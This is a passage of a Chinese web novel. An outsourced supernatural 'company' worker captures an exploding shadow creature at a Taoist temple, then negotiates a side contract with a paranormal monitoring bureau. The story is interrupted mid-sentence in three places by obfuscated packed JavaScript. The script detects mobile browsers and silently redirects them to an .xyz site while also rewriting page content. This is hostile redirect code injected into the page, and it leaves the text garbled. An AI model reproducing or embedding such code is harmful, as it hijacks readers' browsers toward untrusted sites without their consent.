而远远就能看见的光亮则是邪物与道士们缠斗的效果,一堆白丝带红丝带堆在地上,缠得无处下脚,燃烧的黄符贴在每一个角落,显得极其不值钱。 偶然有白光闪过,这是剑光。 “怎么不走了?”已经跳上台阶的岑明辉迷茫地回头,望向迟迟不动的江行白。 【我的天,这比上次在企业家他家神堂的显示效果还好,这种VR看一次多少钱?】 系统哗的一下给他浇一盆凉水:【醒醒,一会上去打怪。】 江心白看向岑明辉期盼的目光,又望向褚皓阳狼狈的身影,无可奈何地叹息:【要不是刚给了钱,又有朋友在这……】 他思绪万千,幸好有人打断他。 “道友,路见不平,可否出手相救?”这是褚皓阳的师兄,岑明辉的师父。 “帮我们、我们将拂尘线整理一下,缠住——邪物。” 【滴,恭喜您,您已成功领取任务:交织的拂尘线(0/1)。】 江行白冲上前:【真领取了?】 【假的,打白工去吧你。】 他伸手碰向拂尘线,手被不轻不重的灼出一个伤口,默默运气凝于指尖,才能触碰这些红白丝线。 线条杂乱,找不到头也找不到尾,一看就是为了拦住什么东西,才到处堆放。 江行白没有耐心,揣起一兜子线就开始奔跑,直奔目标,那个不知道从哪里冒出来的邪物,或者说野神。 褚皓阳和不知名师兄吓了一大跳,打着架都忍不住走神,不约而同地喊:“你!” 江行白有自己的节奏,揣到近前,把红白线猛的往邪物身上一扔,烫得他尖叫。 “嗷!” “它这什么叫声?”褚皓阳奇异。 江行白没忘记大明湖畔的塑料袋,红白线扑到它身上之后,他就拿塑料袋敞面一揣。 塑料袋兜风,被夜风一灌,像个张开大嘴的怪兽,囫囵个地把邪物吞下去。 塑料袋里面有了重量,沉在江行白手心,他掂了掂,快速系了个蝴蝶结。 褚皓阳和他师兄在后面探头探脑,异口同声:“这能行吗?” 师兄欲言又止,止言又欲,最终说:“他好像在神堂里……吸收了道祖的功德德德ded——” 塑料袋砰的一下炸开,疯狂挣扎的黑影型邪物在里面蹦迪,妄图挣开缠绕住他的红白线。 江行白崩道:“你怎么不说快点!” 他左手没法停,伸进衣兜里又掏出一大堆塑料袋,手运气搓开,迎着风一吹,再次朝他身子罩上。 江行白一口气套了七八个,拎了拎袋子,自认为在拎一个随时会爆炸的炸弹。 这东西这辈子和上辈子一定是吃鞭炮长大的。 恶魔般的声音再次响起,师兄没忘记人设,提醒道:“现在在好像—不太有用,它、好像在寺庙有新突破破破破puopup——” 第二重奏开始,塑料袋一个接一个的袋炸开。 “他、他现在好像能吞吞——上面的神力……” 江行白:“……” “是我的错。” 他托起拂尘线,无情铁手抓住邪物,用拂尘线在它身上打了一个蝴蝶结。 很漂亮的蝴蝶结,江行白点头,满意。 他师兄又要开口,江行白简直要疯了,但也只能静候其佳音。 “我们、我们错了,拂尘线没——” “嘭!” 黑影再次炸开,他像是一团膨胀的火药,嘚哪烧哪,相当张狂。 拂尘线被炸了,原本纠缠在一起的丝线散落开,洋洋洒洒地铺了满地,失去了光泽,也失去了工作。 “好了,不用再说了!”江行白声音尖利:“我已经知道了!” 褚皓阳操控伟光正罗盘,张开金色边界,大喊:“这个有用吗?” 师兄:“不要——随便、尝试,会给他提供气、力。” 江行白放弃磕巴的场外详解,无情铁手死死抓住膨胀了不少的黑影,它张牙舞爪,一招鲜吃遍天,企图再次炸开。 说不上是硝烟气息还是火焰烧焦的味道,江行白感觉自己的手猛的一麻,衣袖张牙舞爪的乱飞,他头发好像变焦了。 嘶,手疼。 江行白面无表情的说:“我不行了,你们有什么办法吗?” 他只是一个刚刚转正的正式工而已,罪不至死,罪不至此。 褚皓阳嘴碎:“头发烫的挺好……不是,等天快亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962022|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,应该会来人帮忙。” 江行白半边衣服已经被炸飞了,这还是□□挡了一挡的结果,他实在不想裸奔:“什么样的帮手,你这样的吗?” 褚皓阳不怪江行白进行人身攻击,他理解他:“不是,专业人士,很厉害的。” 江行白薅住挣扎的黑影,又被炸了两次,现在他的衣服真的没了,但人要有骨气,他跑到半倒塌的寺庙遮住身体,对着远处岑明辉说: “帮我拿两件衣服。” 他很有骨气地仰着头,骄傲地看向褚皓阳,说:“道上的规矩。” 褚皓阳:“有缘者分文不取——不是我懂的。” 江行白不改其骄傲,自立自强,顽强拼搏。 直到师兄甩给他一套衣服。 “这个是——这个是——” 褚皓阳捂住他师兄的嘴:“这个水火不侵,不怕火药,还可以防子弹,是个宝贝,送你了。” 他犹豫了两下,看向江行白被牵制住的右手,思索着说:“要不,我帮你套上?” 江行白昂首挺胸,断然道:“用不上!” 他用套塑料袋的手法套衣服,别说,山上风大,还挺有用。 这种衣袍宽松,设计者似乎考虑不少,就连他现在这种半残情况都穿得轻松,往脑门子一套,手抓着黑影从半连袖子里伸出来,宽松舒适,打野必备。 解决了最基础的遮身问题,江行白思路活跃起来:“咱们就这样等到天亮吗?” 褚皓阳率先发声,他心情不错:“是不太合适。” “岑明辉!回来!” 褚皓阳声音不够大,岑明辉跑的又太快,连点影都没有,估计听不见 江行白对接下来的几个小时不抱任何希望。 漆黑的夜,黢黑的邪物,两个傻子和一个明智的贾道是,不敢想这一晚上要怎么挨过去。 但师兄不一样,师兄很积极,他立刻举起双手成喇叭型,对准嘴唇,开启河东狮吼:“岑——明——辉——快回——来!” 褚皓阳在师兄举手时,就有先见之明地捂住了耳朵,江行白不知道,他没有经验,惨遭摧残。 江行白忍不下这口气,骚扰系统:【你好系统,不行了,系统我要聋了。】 系统:【可以现在为您关闭听力。】 【喊都喊完了,有什么用,有补贴吗?】 系统:【如果是精神方面的补贴,或许可以。因为你看起来好像有点疯了。】 这一喊立竿见影,没过多久,山道上又像猴一样窜出个身影,天太黑了,看起来黑不溜秋,看的江行白手痒,很想打两下。 峨眉山上的猴子手痒喜欢招惹人,哪知道人类的手更痒,要不是猴子受政府保护,人类早把毛全拔了。 但这只黑猴子不受保护,只能嘴甜地说:“师父怎么啦~” 褚皓阳抢先回答:“拿三凳子两西瓜,再把点心茶水薯片可乐炸鸡平板,全拿上来。” 他小声说:“如果可以的话,最好再搬两桌子。” 他小声说的部分岑明辉没听见,直接转身就跑,临了没忘了波浪号:“好的师叔~” 褚皓阳安心了,对着憔悴的江行白和懵懂的师兄:“我们今天晚上,可以度过一个愉快的夜晚了。” 9. 深入 “愉快吗?”诸皓阳问。 江行白用左手摸自己的头发,摸到了卷毛,头发烫得很棒,每个毛都打着卷,幸亏公司加持过员工的身体,头发也顺便加持过,不然他就秃了。 一想到这里,他开始怀疑公司是不是对这些事情早有预料,不知道有多少员工因为工作问题英年早秃,心生不满,公司大手一挥,直接让员工长出铁头发。 不知道这一举动让公司收获多少忠心员工,谁能抗拒怎么折腾都坏不了的头发,阿门,头发教永存。 但江行白还是愉快不起来,他可能更喜欢直毛,也更喜欢两只手一起打游戏,不喜欢坐在椅子上,右手还要抓着会炸的鞭炮。 于是他将黑影拎起来,在诸皓阳面前晃了晃:“不太愉快。” 黑影配合地爆炸,什么效果没有,诸皓阳和他师兄为了防止被误伤,都快离开山顶了。 诸皓阳也没办法,他远远朝江行白扔个苹果,苹果成抛物线,精准地落在江行白的怀里:“来,吃个苹果减减气。” 师兄在一旁帮腔:“不—生气,他们、一会就到。” 江行白无言,捡起苹果啃了一口,才说:“你师兄怎么称呼,他是打小就这样吗?” 诸皓阳切片西瓜,回答:“他叫师兄,姓师,名兄,可以叫师道友。” 他自己也觉得有意思,没忍住笑:“我师兄的名字,真是……反正我叫不吃亏。” 江行白提起兴趣,屈身向前,问:“为什么会有这样的名字?” 诸皓阳拿起西瓜啃两口:“我爹起的,我妈姓师,师兄是他们领养的孩子,领养那年他们说道观缺一个大师兄,就给他取名叫师兄。” “至于师兄磕巴的毛病,娘胎里带出来的,天生声带就不好,现在治疗了这么长时间,其实也能流畅说话,只是师兄不在意,要是他多练习,不会磕巴。” 他拍拍师兄的肩:“我师兄那句‘道友,路见不平,可否出手相救。’说的相当流畅。” 师兄被拍的一晃,有些恼怒地瞪诸皓阳,他面皮是难得的白嫩,一生气会脸红,看起来挺好玩。 怪秀气的,要不是身高够高,留的又是寸头,一眼望过去像个姑娘。 诸皓阳则粗糙太多,他一股匪气,皮肤偏小麦色,手臂上有肌肉的轮廓,很阳光,可惜不像好人。 江行白放弃思考这两兄弟的气质差别,他有些无聊,又向诸皓阳说:“给我扔个平板,现在几点了。” “五点,估计他们马上要来了。” 诸皓阳扔出平板,顺便向江行白介绍:“那群人才是专业人士,咱们这群道家的放他们面前都是业余的,玄门人士啊。” “都带编的,是不是啊师兄,你要不要也考一个。”他和师兄调笑。 江行白也笑了,灰色的瞳孔挑起一点笑意,编制是个好东西,他这样的外包人员真是伤不起。 起的比鸡早,睡的比猫晚,工资还处于工资链最低端。 他问:“是什么部门?” 褚皓阳不好说,摇摇头:“等他们到了,你就知道了。” ————————— 终于,在快要六点的时候,工作人员终于紧急到场,他们来的阵仗不小,弄得江行白还以为是哪里的反派到场。 不怪江行白误会,几个身着制服的人整齐划一地从台阶走上山顶,远远一望像个短尾巴贪吃蛇,衣服是深蓝色,长衣长裤还有短款外套,有点像军服。 相当帅气,看得江行白甚至有点嫉妒,他为什么没有这么好看的制服。 当头的人斯斯文文地整理黑色手套,而右手旁的下属手里拿着一个盒子,盒子比自热火锅的大小大点。 走到近前江行白才看清领头人的样子,是一个很漂亮的女生,头发盘起来,干净利落,深蓝外套敞开着,别着一个徽章,图案有点像花,内衫扣子严谨地系到最顶上。 她说话,声音明亮:“非自然科学理事监察局,我是二队队长沈白枫,你手里就是这次的收缴的邪物吗?” 江行白愣怔,他头一次听见这样的部门。 沈白枫见他发愣,耐心地重复一遍:“你好,监察局,你手中的是邪物吗,可以递给我。” 江行白回神,好奇地打量她佩戴的徽章和肩头的肩章:“是的,直接递过去吗,它可以吞噬神力和气力。” 沈白枫笑笑,他们上山时行动肃静,一旦说话却没有严肃的感觉,只觉得亲和:“没关系,我们收缴了很多这样的东西。” 她拿出一枚白色的金属徽章,在清晨的太阳光下微微反着光,伸到黑影的下方。 黑影好像怂了,在江行白手中卷缩成一团,想要离白色徽章远一些。 但它被牵制在江行白手心中,无处可动,丝丝缕缕的黑气从它的身上蔓延,不知道是不是江行白的错觉,它好像变得小了些。 站在一旁不说话的监察局员工上前一步,将盒子打开,放在黑影的下方。 黑影没什么活力,很蔫巴,类似一坨起泡胶,但很团实,被死死攥在人手上,不会像液体一样向下流淌。 江行白好奇地看着它,之前这黑影咋咋呼呼的,给自己周身上了一层特效,散发着浓浓的黑烟,倒是不识庐山真面目,如今乍一看,还有点好玩。 队长沈白枫在旁提醒:“将它放到盒子里吧。” 江行白的手向下递,黑影被结结实实地塞进盒子里,变成一个方形。 盒子喀拉一声,合的严严实实,监察局的员工拿出钥匙,在锁孔里转了好几遍,仔细地锁住盒子,锁了两三层,确保里面的玩意谁也拿不出来。 沈白枫饶有兴致地看着江行白毫无损伤的手,忽然低声问:“你是办事处的人?” “嗯?”江行白毫不掩饰自己的惊讶,瞪大眼睛看向沈白枫:“你怎么知道。” 沈白枫有理有据,可能从前接触过不少公司的人:“只有办事处的人才能在触碰这类邪物时毫发无损,我们不行。” 她扬了扬手上戴着的手套,直到这时候江行白才注意到,手套并不像远远看上去那样干净整洁,上面全是焦黑的痕迹,不知道被什么烧灼,还有破口和裂纹,似乎被人用细线缝了上去。 “手套对我们有保护的作用,但你们从来不需要这些。” 江行白好奇问:“那些玄门人士也不行?” 沈白枫一笑:“当然不行,只有你们才能借到神力。” 江行白从前对自己的公司懵懵懂懂,只知道是无法想象的超自然力量,挑战他的唯物主义价值观,但从小到大价值观也没少崩塌,还算适应良好。 或许是因为适应太过于良好,他反倒没有从深处想,没去思考过公司究竟是什么样的地位,意味着什么,直到看到面前沈白枫略微艳羡的目光,才堪堪有所体会。 不过……对面人的眼波流转,似乎不怀好意。 这貌似不是江行白的错觉,沈白枫再扫了他一眼,转身走向自己的队员,从他随身的包里掏出一张卡片,又递给江行白。 卡片依旧是非自然监察局的风格,繁复的花瓣纹理和金属光泽,精致异常,上面没有任何文字和备注,只有一段数字。 江行白仔细辨认,从长度和排列来看应该是:“电话号码?” 沈白枫点头:“是的,这是我们二队的通信号码,24小时有人值班,你肯定用的到这个。” “为什么这么说?” 沈白枫解释:“这次的邪物我们勘察了很久,它不同于以往,不单以个体的形式出现,每个邪物往往与它同族情感相连,记忆共享。” “换言之。”沈白枫有些难过的样子,“你可能被它们给记恨了。” 江行白身体陡然僵硬,他想起刚刚那只起泡胶黑影挣扎的样子,在他的手上来回的扑腾,一会变成鞭炮,一会又愤怒的挣扎,奈何逃离不开他的魔爪。 而他好像因为无聊,手欠把它当作……橡皮泥盘了一会。 江行白:“……” 当时那团黑影气的想一口气撞墙上死掉,以死明志,彰显它宁为烟尘,不为玩物的思想境界。 包生气的,包复仇的。 以后他一大早上醒来就会面临复仇者联盟,别说他家,整栋楼都被鞭炮炸的永无宁日,其他邻居大半夜被爆炸声惊醒,还想从床上起来冲着窗户骂两声谁大半夜放鞭炮。 结果一睁开眼发现既没有鞭炮,也没有窗户,更没有房子。 我是罪人,江行白想。 我不能回家了,江行白想。 那天岑明辉拦住我的时候,我没直接飞奔回家,这是我这辈子犯的最严重的错误,江行白继续想。 他深吸一口气,终于说:“这到底是什么玩意。” ————————— 咳咳,大家请看,小白枫队长课堂开课了。 在场同学,江行白江行白江行白。 充满爆炸残骸的案发现场明显不适合促膝长谈,几人收拾好东西,把那些瓜子皮西瓜皮没电的平板加手机都交给小弟子处理,重新找了个合适的地方促膝长谈。 沈白枫队长可能秉承着不把工作带回工作场所,不把人民的疑问留到第二天的工作精神,没回单位,直接在道观找地方就开展工作。 选的地方是江行白曾经待过的招待室。 所以……还是那个熟悉的小破屋子,还是那些破旧的红色塑料袋,还是一些脸上没有笑容的人,沈白枫和江行白面对面坐着,脸上严肃的好像要开联合国会议。 不,江行白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962023|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,他不是要开联合国会议,他只是想再确认一下回家的可能性,暂时回不去和这辈子都回不去还是有很大差别。 那个提过一次的问题终于又能再次提起,江行白整顿面容,严肃地说:“所以它到底是什么玩意。” 沈白枫转着手里的杯子,杯子是玻璃的,有棱有角,白炽灯一照相当好看,她认真盯着杯子,好像那是多么吸引人的玩意。 众所周知,生物在尴尬的时候就会显得很忙,猫猫会左顾右盼假装自己只是在打量环境,鸟鸟会挠头理毛表示自己只是头痒了。 人则更喜欢摆弄东西,例如手边漂亮的杯子。 “所以……”江行白算是看明白了,“你们也不知道?” 沈白枫忙不下去了,咳嗽一声,说:“咱们可以共同挖掘嘛,我们二队很了解这种邪物的习性。” “嗯,是的。”江行白配合点头,然后拆台:“只是单纯地不知道它怎么出现,也不知道该如何彻底消灭,对吧?” 话被他说到点子上,沈白枫有些词穷,但她有优秀的工作经验和良好的群众活动经历,很快调整:“事都是一步一步做,至少我们二队现在已经知道,它们共享记忆,可以用同族来吸引同族。” 用同族来吸引同族,这不就是用人质来吸引救援,然后连人质带救援一同一网打尽吗? 江行白托着腮,他用贾道是的脸来做这个充满少年感的动作十分违和,表情终于从厌倦转为好奇:“然后呢?” 沈白枫视线微妙地一扫,又很快从江行白眼睛上移开:“然后我们就可以将他们一网打尽,分开放在不同的盒子里,再等着它们上钩。” 这事的既视感太强了,像什么来着,江行白一时想不起来,他托着腮思考了半天,才恍然大悟: “这不就是葫芦娃救爷爷,救一个搭一群,他们没脑子吗?” 他忽然想起黑影在他手里徒劳挣扎的样子,还有它到处乱炸的风范,这样的邪物没脑子实在是太理所当然的事情。 江行白恍然大悟,只要抛却逻辑,记住它们只是一群凭借本能行动的邪物,很多疑惑就迎刃而解。 这个道理放在很多人身上也是。 “它还有什么习性?” 江行白直起肩膀,不再在桌子上颓废成一团,问出自己最想问的问题:“它们和神像牌位有什么联系,我听道观里的人说它们甚至可以吸收神力。” 世间千万种力量,神有神力,灵有灵力,鬼有怨力,人有气力,本质上都来源于荒芜的混沌,各种生物从其中抽丝剥茧,获得属于自己的力量。 力量本质上没有高下之分,也没有好坏之分,只是个体的强大与否与使用方式不同罢了,但江行白经过公司的基础培训,还是知道,神力是一个很奇特的存在。 神力与信仰相连,也与功德香火有很深的联系,神灵甚至可以通过一些方式将力量隔空借给其他人,比如作为公司员工的江行白。 既然神力如此特殊,那能够不经过神灵同意就趴在祂们身上吸收香火和神力的,又是什么样的生物? 这个问题容易触碰忌讳,沈白枫在心中仔细措辞,思考好久才敢答:“在我们的实验和观察下,它更接近于一种野神,但与寻常的野神不同,它不吸收功德和香火。” “可是被它寄居过的神像都碎了,功德香火也不见了。” 沈白枫还是那副慎重的表情:“或许它只是在储存神力,它的攻击方式是不断地爆炸,相当于将神力变成一个压缩包,然后让它‘嘭’地炸开。” “这是猜测的结果吗?”江行白问。 “不。”沈白枫竟然否定了:“这是实验出的结果。” 这背后是多少黑影的血和泪啊,感谢它们的付出,希望还能投胎。 沈白枫话没有说完,继续补充:“就实验来看,这类邪物每次吸收神力时都会完全附着于神像之上,从外部看不出任何异常,只有邪物将香火功德完全吸收干净后,它们才会将体内压缩的神力释放出来一部分,造成第一次爆炸。” “这也是最严重的一次,可以将大多数神像炸的完全只剩下粉末。” 她说完,就仔细打量江行白的表情,想看看江行白是什么反应。 但江行白的反应大出她的所料,本来还带着些散漫的表情消失不见,眉头蹙起,面色沉重,连轻点桌面的手都不动了。 “你说……它有可能在短时间内将一个屋子的神像全部炸成粉末吗?” “这不可能啊,你的意思是……” 沈白枫的脸色也变了,他们二人视线相对,她忍不住问:“你碰到过这种邪物把一个屋子的神像全部毁坏,还是在短时间内?” 江行白点头:“是的,就是刚刚捉到盒子里的那只。” 10. 尾款 他的语气听起来很一般,有点凶,但沈白枫看在他心情这么不好的份上,宽容的谅解了他。 她将合同递给江行白:“诺,走的是劳务派遣,回头会和办事处接洽,把你的名字录进任务里。” 江行白瞥了她一眼,他有些出神,表情不明不白,看不透在想什么。 但实际上江行白在和系统暗地里疯狂交谈。 【我有一个疯狂的想法。】 【说来听听,感觉不是好事。】 江行白:【一个人,应该打两份工。】 系统:【我看你是终于疯了。】 江行白没回答,翻开合同,报酬给的很丰富,不光有功德,还有不少钱,甚至还可以从监察局得到一些符咒。 监察局的符咒与道家玄门的符咒都不太相同,力量很稳定,也十分厉害,市面上不会流通。 但江行白放下合同,对相当优渥的条件视若无睹,首先说:“我想当小时工。” 这种事情沈白枫不奇怪,他们外勤很多专家和玄门人士,基本都是按次数或者时间来算,但江行白这种情况,也要当小时工? 江行白还补充:“我们不走公司。” 沈白枫以前没少和办事处的人合作,知道他们称自己的单位为公司,不觉得意外,只是奇怪:“为什么,那香火和功德划分不过去,你们做任务不主要是为了这些吗。” 江行白不做解释:“自然有我的原因,我们仔细聊一聊报酬吧。” 沈白枫尊重但不理解:“好,这边能给到的是一小时1500,另外在我们合作的期间,你可以获得警察局特制的符咒,还有法器的使用权,种类也挺多的。” “并且以后如果有合作的话,我们也会优先联系你,合作期间法器都可以随意申请。” 江行白在背地里和系统悄悄讨论。 【一小时1500,反正基本白捡的钱,没有功德也无所谓。】 【但是你会很忙呀,你要完成两份的工作量。】 江行白似乎在这方面很能看得开:【人嘛,要不就是不工作,要不就是只工作,行情就是这样,在公司接单的哪个不是昼夜颠倒。】 都是万恶的神仙阶级,他们自己几千年几千年不睡觉,还要求自己平平无奇的人类员工和祂们一样不睡觉。 而且监察局每小时一千五,这比公司流出的任务费用多多了,公司功德和香火给的多,钱却不多。 【我能考监察局的编制吗,我想跳槽。】 系统呵呵一笑:【你当你当初签的合同是摆设吗,工作一年,解约倒欠公司三万功德,你当这是假话。】 江行白冷的一哆嗦,心冷。 虽然心冷,但任务既然已经道眼前了,只能最大化争取自己的利益,沈白枫还着携带钱的合同等江行白回话,不能怠慢了财神爷。 江行白拿起一旁的笔,把自己看有争议的地方圈上:“这几个条款删掉吧,费用可以减一点,我也不是那么贵的人。” 沈白枫从他的手中接过合同,看了看他圈的地方:“你不愿意共享位置吗,这可能没办法确保你的安全。” 江行白摇摇头:“有什么安全不安全的,我是办事处的人,还能出事不成。” 沈白枫在草拟的合同上写备注,等着一会让下属回炉重打,她忽然想起一个问题,问江行白:“办事处允许你们接私活吗,你们的组织好像也挺严的。” 江行白看着她身上齐整的制服,公司其实是一个很奇特的组织,说松也松,说严也严,至少上了船不让下船这事是挺严,但它也不是一点BUG都不能卡。 任务已经发配给江行白,就是允许江行白插手这件事情,用几个合同,用什么形式的方式帮助却不会管。 “没有关系。”他摇头:“既然我被记恨上了,那它们多久才会找上门。” 沈白枫做好备注,将笔插回上衣口袋:“说不上,按照从前的实验来讲,它们没有什么脑子,没脑子的东西做出什么事都有可能。” “这个道观里接触过黑雾的人也要转移,哦对了,忘记和你说了,上级对它代称已经定下了,就叫黑雾。” 江行白早在任务栏里就见到这个名称,并不奇怪,只是诧异于:“为什么现在才定下来。” 沈白枫收拾收拾已经要走了:“慢呗,层层审批,越是细枝末节的地方越是喜欢争论,好像取错个名字能出多大事似的,你们组织这点倒是不错,松散点好。” 江行白不去争论,轻笑着送走沈白枫:“再见昂。” 他转头对系统说:【快,你跟程序申请一个安全屋,我得找个地住,今晚过完就走。】 【今天是……嗯,距离道资还有两个月,来得及,今天晚上跟小道友见个面就走。】 系统滴滴答答地在后台写申请书:【安全屋马上就能下来,工作周报也在写,任务前期分析报告也在写。】 【嗯,我有八只爪子,方便打字。】 江行白有些诧异:【我还以为你们是意识体,直接脑电波打字就行。】 系统否认,且不以为然:【哪有那么多脑电波,别看个科幻电影就信,知道我辛苦,就少让我干点活。】 人和统的悲喜并不相通,江行白握着手机无聊地刷短视频,不知道沈白枫什么时候能把新的合同带回来。 短视频看多了无聊,想起自己这两个小时的传奇经历,他决定骚扰骚扰自己的好友。 鼎鼎打开,江行白对诸皓阳进行脑电波攻击,唰唰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962024|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地发出去好几条消息。 鼎鼎这种奇特app和寻常软件不同的是,发的消息不用担心对方收不到,对面的工作小助手会“鼎鼎鼎鼎”地发消息,十分骚扰,也十分强大,直接发到其他人脑子里。 诸皓阳惨遭音波攻击。 “你说什么玩意呢,我怎么看不懂。” 江行白现在呈发散思维,发出去的消息怎么可能让人看得懂,他发消息的目的仅仅是为了骚扰他而已。 但话音一转,到底说了些正事:“你最近任务怎么样,周四领到什么垃圾活了。” 一说起这个诸皓阳来劲了:“你可别提了,我家那边最近出事了你知不知道。” 我知道,我可太知道了,没让你家炸没了,还有我出的一份力,你应该在山上把我供起来。 但江行白说:“不知道。” 褚皓阳不知道友人心中的奇特想法,还自顾自嘀嘀咕咕:“这世界上怎么会有这么倒霉的事情,我哥只是离家一小会儿,就再也回不去家了。” 我懂,江行白来了精神,他可太懂了,究竟是谁,一步踏错,步步踏错。 褚皓阳,或许是你负了我,你的道观,有内鬼。 住在山顶没被关好,偷偷吸食神像香火功德的鬼。 褚皓阳不知道江行白已经支楞起来了:“如今我只能客居他乡,避免危及自己家,还强制被公司安上任务。” 江行白开始装大尾巴狼了:“不是每周四都强制来任务吗,你旧的任务还没扫尾,怎么还犯愁上新的了。” “因为这次不一样啊。”褚皓阳抱怨:“算了,你不知道我不能和你说,那个什么局,哎呀。” “等以后我再和你说。” 江行白从前习惯了褚皓阳的神神秘秘,玄门和公司的规矩都是不能把消息说给不知道的人,除非消息自己上门找他。 翻译过来就是,不能和不知情的人说邪物,不能跟不知道的人提监察局和公司。 但江行白的内心其实是沉痛加庆幸的,褚皓阳的反应如此明显,他知道,他不是一个人在孤军奋斗。 在这里,他和诸皓阳和师兄是同难,等被监察局借调去上班,他和诸皓阳和师兄还是同难。 人生处处是缘分。 所以,江行白略带沉痛地与他说:“不,你可以告诉我了。” “啊?”褚皓阳有些惊讶。 “没关系,你以后会知道是什么原因。”江行白微笑脸。 但在我们二人相聚的之前。 咱们还有点事要扫一下尾。 江行白迅速切换软件,从鼎鼎跳到徽信,用温暖的两根指头打出冰冷的两个字。 “尾款。” 收消息者褚皓阳。。 11. 第 11 章 江行白已经能想象到诸皓阳狼狈接受消息,从鼎鼎切出来,然后打电话和师兄沟通的样子。 但江行白很坏,他不想让诸皓阳安心处理事务,还在鼎鼎发消息。 “我们过几天就会见面。” 诸皓阳百忙之中打了一个问号:“?” 他离开了一会,过了一阵才把剩下的半条消息补上:“你上哪找我?” 江行白握着手机不急不慢地敲字:“到时候你就知道了。” 他说话太气人,诸皓阳理都不想理他,一个问号都没有回。 新的合同很快就送到,沈白枫又风尘仆仆地回到招待室,她来回跑,有些忙碌,板正的制服都乱了,合同被她递到江行白手上。 江行白顺手接过,翻开仔细查看。 “应该没什么问题。”沈白枫拉开一边板凳坐下,江行白难得有眼力见,给她倒了杯白开水。 沈白枫两三口喝光了,无所事事地等着江行白审查合同,还从口袋里掏出一支笔,放在桌子上等待被使用。 江行白很快翻完,随手拿起桌子上的笔刷拉拉开始签,顺便说:“可以,我觉得合同没有任何问题,单方面很满意。” 沈白枫优雅纠正:“双方都很满意。” 江行白放下笔,把合同递给沈白枫,沈白枫又拿出一份给江行白签,一式两份,江行白继续签,他嘴没停:“加微信吗,还是内部软件?” “先加微信,微信里给你软件的链接。” “好。”江行白微笑点头,“但我暂时不能上岗,要过两天,到时候会联系你,四天内一定到位。” 沈白枫无所谓:“你安全就好,为员工的安全奔波实在太狼狈,我们很怕出事情。” 江行白无所谓地笑笑:“不会的。” 他通过沈白枫的微信申请,手机在她眼前一晃,江行白站起身说:“我先离开了,有什么事情随时联系,临时让我上岗也没问题,别忘了算加班费。” 沈白枫一笑,也跟着站起身:“合作愉快,这两天不会找你,安心处理自己的事情就好。” —————————— 江行白刚到道观的居所不久,诸皓阳的消息就追了上来,第一个消息就是银行卡收款到账的提示,江行白拿起手机撇了一眼,后面的零他要数一会。 就没见过这么多钱。 人啊,还是应该发展副业,挣外快,公司那点工资够干什么的,这不是鼓励人搞兼职吗。 诸皓阳实在是命好,还有道观这么一大个家产,外快想挣就挣,不用审批不用报备,还能顺便把任务完成了。 这么优渥的先天条件,褚皓阳还天天压着任务不做,攒一大堆,道观也不回,天天就在外面瞎逛。 江行白将腹诽压下去,徽信里又叮叮弹出消息,他拿起手机,一点意外都没有,全是诸皓阳的。 但这些消息都是诸皓阳发给贾道士的,语言简练正式,没有那么多废话。 “我们先为你打了20万,道长您先花着。” “另外,这还有一些法器和符咒,都是道观里从祖上传下来的,道长什么时候有空,来挑选挑选,看看哪些合您心意。” 江行白打字打的飞快:“我什么时候都行。” 道观里处理事务的能力飞快,明明诸皓阳收到消息进行讨论还没多久,就什么都准备好了,他直接说:“道长,你看时间合适的话,两个小时后,我让岑明辉去接您,到山上的藏物阁来挑选,有些法器不好来回搬弄。” 时间很快定下来,江行白心情大好,他现在又不记着前不久,自己还对经不住好奇心上山而懊悔至极,但人嘛,总是会变的,他现在只想在屋子里跑两圈助助兴。 【你好系统,我觉得我当初跟岑明辉来道观,是这辈子做过最正确的决定。】 系统阴阳怪气,它上好几天班,什么香火功德都没捞着,还留下一堆报告:【你倒是高兴了,我写一堆报告,一点报酬都没有。】 它恨铁不成钢:【接私活有什么好的,就给你点钱,这都是身外之物,香火功德才是最重要的,公司可从来没亏过你这个。】 江行白心里清楚,这几天系统跟着他干活,活没少干,班没少上,啥没捞着。 金钱对系统乃是身外之物,它们没事在仙界划出的地盘一呆,又用不上人民币,只花香火功德,法器则更是,那是给江行白的,系统一个背后灵用不了一点。 这几天真是委屈它了,它的懒惰和对工作的怠慢可不比江行白少一点,没得到休息,被迫打了这么时间白工。 江行白几乎要对它生出爱怜,只觉得他家小系统跟着他实在是委屈了,一时上头:【下次我任务得的香火多分你几成,算是这次的报酬。】 系统瞬间高兴,AI音语调上扬:【好!我现在就去给你写报告。】 工作周报,任务前期分析报告,任务总结报告都应该写完了啊,还有什么没写的。 江行白有些茫然。 